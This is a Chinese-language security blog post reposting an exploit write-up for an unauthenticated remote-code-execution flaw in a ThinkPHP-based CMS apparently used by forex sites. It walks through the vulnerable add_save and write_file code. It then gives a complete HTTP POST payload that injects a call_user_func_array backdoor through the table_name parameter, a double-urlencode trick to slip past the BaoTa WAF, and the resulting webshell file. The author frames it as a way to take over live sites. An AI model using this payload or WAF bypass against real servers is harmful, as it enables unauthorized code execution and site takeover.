实战 | 某外汇常用CMS通用未授权RCE

云安全数据库算法

某妞子发给我的一个cms,有各种注入,但是网上大部分站点都是用宝塔搭建的,并且开了waf的功能,索性审一个rce直接日下。

一般程序是基于ThinkPHP3.1.3进行二次开发的,直接根据特征从Github找了个源代码下来审,注入就不说了,直接看RCE:

Admin/Lib/Action/typeAction.class.php


          
public function add_save()
          
{
          
        $data=pg('data');
          
        M('classify_type')->data($data)->add();
          
 
          
        $sql='
          
        CREATE TABLE index_'.$data['table_name'].' (
          
          '.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT,
          
          type_id int(10) NOT NULL,
          
          date int(10) NOT NULL,
          
          title varchar(99) NOT NULL,
          
          keywords varchar(99) NOT NULL,
          
          description varchar(10) NOT NULL,
          
          version_id int(10) NOT NULL,
          
          PRIMARY KEY ('.$data['table_name'].'_id)
          
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8;';
          
        M()->query($sql);
          
 
          
        if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php'))
          
        {
          
            copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php');
          
            $content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php');
          
            $content=str_replace('messageAction',$data['table_name'].'Action',$content);
          
            write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);
          
            copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']);
          
        }
          
 
          
        echo '操作成功';
          
    }
      

直接从参数获取data数组,没有任何检验/过滤/认证,后面用了write_file函数,跟进去看看

ThinkPHP/Common/common.php


          
function write_file($path,$data)
          
{
          
    creat_file($path);
          
    $fp=fopen($path,"w+");
          
    if(!fwrite($fp,$data))
          
    {
          
        return false;
          
    }
          
    else
          
    {
          
        fclose($fp);
          
        return true;
          
    }
          
}
      

很简单的一个函数,根据参数直接写文件,再回头看看刚才的代码:


        
            

          write\_file('Index/Lib/Action/'.$data['table\_name'].'Action.class.php',$content);
        
      

文件名是php格式,如果content可控,那就直接RCE了,content可控,那就直接RCE了,content内容是复制Index/Lib/Action/messageAction.class.php的,然后根据指定参数进行替换,先看下代码:

Index/Lib/Action/messageAction.class.php


          
<?php
          
class messageAction extends Action {
          
    public function index(){
          
        $this->display();
          
    }
          
 
          
    public function details(){
          
        $this->display();
          
    }
          
    public function add_save()
          
{
          
        $data = pg('data');
          
        $type_id = $data['type_id'];
          
        $classify_id = pg('classify_id');
          
        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');
          
        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();
          
        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();
          
        foreach($list as $k => $v){
          
            $data[$v['field_name']]=serialize($data[$v['field_name']]);
          
        }
          
 
          
        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();
          
        foreach($list as $k => $v){
          
            if(!empty($_FILES[$v['field_name']]['tmp_name'])){
          
                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));
          
            }
          
        }
          
 
          
        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();
          
        foreach($list as $k => $v)
          
        {
          
            $data[$v['field_name']]=strtotime($data[$v['field_name']]);
          
        }
          
 
          
        $id = M($table_name)->data($data)->add();
          
        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();
          
        $this->success('提交成功');
          
    }
          
}
      

也就是第二行的messageAction会替换成参数指定的,但是文件名同时也会被修改,所以很多Payload在这边是没办法使用的,然后还有一个宝塔WAF要绕过,直接给Payload:


          
POST /admin.php?m=type&a=add_save HTTP/1.1
          
Host: www.xxx.com
          
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
          
Accept: */*
          
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
          
Accept-Encoding: gzip, deflate
          
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
          
Content-Length: 205
          
Connection: close
          
Pragma: no-cache
          
Cache-Control: no-cache
          
 
          
data%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index
          

      

大部分的函数在流量就被拦截了,但是他忽略了urlencode,只需要多弄几个urlencode就可以绕过流量了。

picture.image

最后建立的文件长这样:


        
            

          http://www.xxx.com/Index/Lib/Action/abc{}call\_user\_func\_array($\_REQUEST[a],array($\_REQUEST[b][0],urldecode(urldecode($\_REQUEST[b][1])))); class Action.class.php
        
      

          
<?php
          
class abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action {
          
    public function index(){
          
        $this->display();
          
    }
          
 
          
    public function details(){
          
        $this->display();
          
    }
          
    public function add_save()
          
{
          
        $data = pg('data');
          
        $type_id = $data['type_id'];
          
        $classify_id = pg('classify_id');
          
        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');
          
        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();
          
        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();
          
        foreach($list as $k => $v){
          
            $data[$v['field_name']]=serialize($data[$v['field_name']]);
          
        }
          
 
          
        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();
          
        foreach($list as $k => $v){
          
            if(!empty($_FILES[$v['field_name']]['tmp_name'])){
          
                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));
          
            }
          
        }
          
 
          
        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();
          
        foreach($list as $k => $v)
          
        {
          
            $data[$v['field_name']]=strtotime($data[$v['field_name']]);
          
        }
          
 
          
        $id = M($table_name)->data($data)->add();
          
        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();
          
        $this->success('提交成功');
          
    }
          
}
      

          
作者:hzllaga
          
来源:https://wtfsec.org/posts/%e6%9f%90%e5%a4%96%e6%b1%87%e5%b8%b8%e7%94%a8cms%e9%80%9a%e7%94%a8%e6%9c%aa%e6%8e%88%e6%9d%83rce/
      

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ **再看

”**

0
0
0
0
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论